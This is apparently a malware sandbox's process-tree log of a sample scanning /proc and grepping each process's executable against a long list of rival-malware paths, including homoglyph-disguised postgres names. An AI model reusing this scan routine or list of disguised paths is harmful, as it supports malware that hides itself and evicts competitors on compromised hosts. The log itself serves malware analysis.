  2⤵
  PID:1076
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1075
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1078
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1080
- /bin/grep
  grep exe
  2⤵
  PID:1081
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1083
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1085
- /bin/grep
  grep exe
  2⤵
  PID:1086
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1088
- /bin/ls
  ls -latrh /proc/736
  2⤵
  PID:1090
- /bin/grep
  grep exe
  2⤵
  PID:1091
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1093
- /bin/ls
  ls -latrh /proc/739
  2⤵
  PID:1095
- /bin/grep
  grep exe
  2⤵
  PID:1096
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1098
- /bin/ls
  ls -latrh /proc/74
  2⤵
  PID:1100
- /bin/grep
  grep exe
  2⤵
  PID:1101
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1103
- /bin/grep
  grep exe
  2⤵
  PID:1106
- /bin/ls
  ls -latrh /proc/740
  2⤵
  PID:1105
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1108
- /bin/grep
  grep exe
  2⤵
  PID:1111
- /bin/ls
  ls -latrh /proc/743
  2⤵
  PID:1110
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1113
- /bin/ls
  ls -latrh /proc/75
  2⤵
  PID:1115
- /bin/grep
  grep exe
  2⤵
  PID:1116
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1118
- /bin/grep
  grep exe
  2⤵
  PID:1121
- /bin/ls
  ls -latrh /proc/76
  2⤵
  PID:1120
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1123
- /bin/grep
  grep exe
  2⤵
  PID:1126
- /bin/ls
  ls -latrh /proc/77
  2⤵
  PID:1125
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1128
- /bin/grep
  grep exe
  2⤵
  PID:1131
- /bin/ls
  ls -latrh /proc/78
  2⤵
  PID:1130
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1133
- /bin/grep
  grep exe
  2⤵
  PID:1136
- /bin/ls
  ls -latrh /proc/8
  2⤵
  PID:1135
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1138
- /bin/grep
  grep exe
  2⤵
  PID:1141
- /bin/ls
  ls -latrh /proc/81
  2⤵
  PID:1140
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1143
- /bin/grep
  grep exe
  2⤵
  PID:1146
- /bin/ls
  ls -latrh /proc/82
  2⤵
  PID:1145
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1148
- /bin/grep
  grep exe
  2⤵
  PID:1151
- /bin/ls
  ls -latrh /proc/9
  2⤵
  PID:1150
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1153
- /bin/grep
  grep exe
  2⤵
  PID:1156
- /bin/ls
  ls -latrh /proc/buddyinfo
  2⤵
  PID:1155
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/bus
  2⤵
  PID:1160
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/grep
  grep exe
  2⤵
  PID:1166
- /bin/ls
  ls -latrh /proc/cgroups
  2⤵
  PID:1165
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1168
- /bin/grep
  grep exe
  2⤵
  PID:1171
- /bin/ls
  ls -latrh /proc/cmdline
  2⤵
  PID:1170
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1173
- /bin/grep
  grep exe
  2⤵
  PID:1176
- /bin/ls
  ls -latrh /proc/consoles
  2⤵
  PID:1175
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1178
- /bin/grep
  grep exe
  2⤵
  PID:1181
- /bin/ls
  ls -latrh /proc/cpuinfo
  2⤵
  PID:1180
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1183
- /bin/grep
  grep exe
  2⤵
  PID:1186
- /bin/ls
  ls -latrh /proc/crypto
  2⤵
  PID:1185
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1188
- /bin/grep
  grep exe
  2⤵
  PID:1192
- /bin/ls
  ls -latrh /proc/device-tree
  2⤵
  PID:1191
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1195
- /bin/grep
  grep exe
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/devices
  2⤵
  PID:1197
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1201
- /bin/grep
  grep exe
  2⤵
  PID:1205
- /bin/ls
  ls -latrh /proc/diskstats
  2⤵
  PID:1204
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1207
- /bin/grep
  grep exe
  2⤵
  PID:1211
- /bin/ls
  ls -latrh /proc/dma
  2⤵
  PID:1210
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1214
- /bin/grep
  grep exe
  2⤵
  PID:1217
- /bin/ls
  ls -latrh /proc/driver
  2⤵
  PID:1216
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1221
- /bin/grep
  grep exe
  2⤵
  PID:1224
- /bin/ls
  ls -latrh /proc/execdomains
  2⤵
  PID:1223
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1226
- /bin/grep
  grep exe
  2⤵
  PID:1230
- /bin/ls
  ls -latrh /proc/fb
  2⤵
  PID:1229
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1233
- /bin/grep
  grep exe
  2⤵
  PID:1236
- /bin/ls
  ls -latrh /proc/filesystems
  2⤵
  PID:1235
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1239
- /bin/grep
  grep exe
  2⤵
  PID:1243
- /bin/ls
  ls -latrh /proc/fs
  2⤵
  PID:1242
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1245
- /bin/grep
  grep exe
  2⤵
  PID:1249
- /bin/ls
  ls -latrh /proc/interrupts
  2⤵
  PID:1248
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1252
- /bin/grep
  grep exe
  2⤵
  PID:1255
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1254
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1259
- /bin/grep
  grep exe
  2⤵
  PID:1262
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1261
- /bin/grep
